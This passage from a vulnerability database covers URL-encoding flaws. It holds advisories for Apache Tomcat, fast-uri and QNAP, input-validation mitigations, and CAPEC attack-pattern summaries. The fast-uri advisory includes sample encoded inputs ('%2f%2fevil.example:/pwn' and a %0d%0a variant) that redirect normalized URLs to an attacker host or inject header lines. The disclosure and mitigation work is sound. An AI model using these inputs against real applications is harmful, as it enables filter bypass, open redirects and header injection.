"details": "Improper Handling of URL Encoding (Hex Encoding) vulnerability in Apache Tomcat\u0027s rewrite valve allowed security constraint bypass for some configurations.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.23, from 10.1.0-M1 through 10.1.56, from 9.0.0.M1 through 9.0.119, from 8.5.0 through 8.5.100.\u00a0Other versions that have reached end of support may also be affected.\n\nUsers are recommended to upgrade to version 11.0.24, 10.1.57 or 9.0.120, which fix the issue.",
"id": "GHSA-hcjr-322h-429r",
"modified": "2026-07-14T15:32:15Z",
"published": "2026-07-14T09:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59083"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/3g63zos2gkjo5vgnrk8kxmosv47w6wbq"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/14/7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JQFF-G426-HQXP
Vulnerability from github – Published: 2026-09-02 15:41 – Updated: 2026-09-02 15:41Impact
fast-uri decodes percent-encoded characters in the scheme component with the legacy global unescape() and serializes the result back as raw characters, without re-escaping it or validating it as a scheme. A scheme that decodes to characters outside the RFC 3986 scheme grammar can therefore introduce structure the original input did not contain.
For example, %2f%2fevil.example:/pwn parses with no authority (parse().host is undefined), but resolve() and normalize() return //evil.example:/pwn, which reparses with host evil.example. The %uXXXX form (%u002f%u002fevil.example:/pwn) produces the same result, and a scheme containing %0d%0a reaches the output as a raw CR LF.
Applications that normalize or resolve untrusted URLs before a redirect check, host allowlist, or outbound request decision, especially ones that treat a missing authority as same-origin, can be steered to an attacker-chosen authority, and a normalized URI placed in a response header can carry an injected CR LF.
Patches
Upgrade to fast-uri >= 4.1.3, or >= 3.1.6 in the v3.x release line, or >= 2.4.5 in the v2.x release line.
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.1"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-76172"
],
"database_specific": {
"cwe_ids": [
"CWE-177"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T15:41:53Z",
"nvd_published_at": "2026-08-24T11:16:40Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`fast-uri` decodes percent-encoded characters in the scheme component with the legacy global `unescape()` and serializes the result back as raw characters, without re-escaping it or validating it as a scheme. A scheme that decodes to characters outside the RFC 3986 scheme grammar can therefore introduce structure the original input did not contain.\n\nFor example, `%2f%2fevil.example:/pwn` parses with no authority (`parse().host` is `undefined`), but `resolve()` and `normalize()` return `//evil.example:/pwn`, which reparses with host `evil.example`. The `%uXXXX` form (`%u002f%u002fevil.example:/pwn`) produces the same result, and a scheme containing `%0d%0a` reaches the output as a raw CR LF.\n\nApplications that normalize or resolve untrusted URLs before a redirect check, host allowlist, or outbound request decision, especially ones that treat a missing authority as same-origin, can be steered to an attacker-chosen authority, and a normalized URI placed in a response header can carry an injected CR LF.\n\n### Patches\n\nUpgrade to `fast-uri` \u003e= 4.1.3, or \u003e= 3.1.6 in the v3.x release line, or \u003e= 2.4.5 in the v2.x release line.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-jqff-g426-hqxp",
"modified": "2026-09-02T15:41:53Z",
"published": "2026-09-02T15:41:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-jqff-g426-hqxp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76172"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/commit/37f3417c82994279656854f83ce938acd81c3862"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/commit/a941e626411f576f8d90883231e57b6c9d0ff98b"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/commit/c6a74bfd9d8c6b0df5362b3c7ae88d8021cb1e39"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fast-uri"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v2.4.5"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v3.1.6"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v4.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-uri vulnerable to host confusion via percent-encoded scheme normalization"
}
GHSA-M75H-X6Q6-7QG6
Vulnerability from github – Published: 2024-12-06 18:30 – Updated: 2025-09-23 15:31An improper handling of URL encoding (Hex Encoding) vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers to run the system into unexpected state.
We have already fixed the vulnerability in the following versions: QTS 5.1.9.2954 build 20241120 and later QTS 5.2.2.2950 build 20241114 and later QuTS hero h5.1.9.2954 build 20241120 and later QuTS hero h5.2.2.2952 build 20241116 and later
{
"affected": [],
"aliases": [
"CVE-2024-48866"
],
"database_specific": {
"cwe_ids": [
"CWE-177"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-06T17:15:08Z",
"severity": "LOW"
},
"details": "An improper handling of URL encoding (Hex Encoding) vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers to run the system into unexpected state.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.9.2954 build 20241120 and later\nQTS 5.2.2.2950 build 20241114 and later\nQuTS hero h5.1.9.2954 build 20241120 and later\nQuTS hero h5.2.2.2952 build 20241116 and later",
"id": "GHSA-m75h-x6q6-7qg6",
"modified": "2025-09-23T15:31:06Z",
"published": "2024-12-06T18:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48866"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-468: Generic Cross-Browser Cross-Domain Theft
An attacker makes use of Cascading Style Sheets (CSS) injection to steal data cross domain from the victim's browser. The attack works by abusing the standards relating to loading of CSS: 1. Send cookies on any load of CSS (including cross-domain) 2. When parsing returned CSS ignore all data that does not make sense before a valid CSS descriptor is found by the CSS parser.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.